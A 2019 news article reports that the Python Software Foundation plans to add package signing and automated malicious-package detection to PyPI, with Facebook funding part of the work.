by Nick Heath | August 29, 2019 | 8:59 AM PST

Work on systems to root out malicious software libraries is due to get underway in December.

The Python Software Foundation has revealed that work will begin in December to add “advanced security features” to the core Python Package Index (PyPI).

PyPI is the official repository of third-party packages for the popular Python programming language, and hosts software libraries that are downloaded millions of times each month.

However, there have been instances of developers hiding malicious code in packages hosted on PyPI. Last month, a security research firm identified three libraries hosted on PyPI containing a hidden backdoor, with 12 similarly malicious Python libraries discovered on the service the year before.

The Python Software Foundation (PSF) has outlined the scale of the challenge that running PyPI poses.

“PyPI adds tens of thousands of new releases across the projects hosted in the repository and thousands of new projects monthly,” the foundation writes.

“There are regular ongoing attempts by bad actors to upload releases and artifacts that include malicious payloads either in setup.py files or within the package contents itself.

“Additionally, spam and scam artists sometimes attempt to create projects that include references and links to deceive search indexes and users.”

The foundation says the PyPI team only have limited resources to carry out moderation and currently rely on community reports to help flag malicious uploads and spam posts.

To this end, the PSF is consulting on a new project to develop a better way for users to verify the integrity of packages downloaded from PyPI, via verifiable cryptographic signing of artifacts. The project would also include the development of a system to automate the detection of malicious packages uploaded to PyPI, and documentation of these new PyPI features.

The ‘Request for Information’ is designed to allow the community and potential contractors to discuss ideas and improve the scope and definition of the project. This consultation will run until 18th September and be followed a Request for Proposals, where contractors will bid to carry out the work.

The project is expected to cost up to $65,000, with Facebook donating money to the PSF to help pay for the improvements.
Work is expected to get underway in December 2019 and take between three to five months to complete.

The improvements will benefit the millions of developers who use the language. Python’s unstoppable rise is widely recognized — largely fuelled by its use for machine learning — with some predicting it may become the most popular programming language in the world, if it can overcome its limitations.   

If you’re interested in learning more about Python, check out TechRepublic’s starter guide.

UA-33817863-1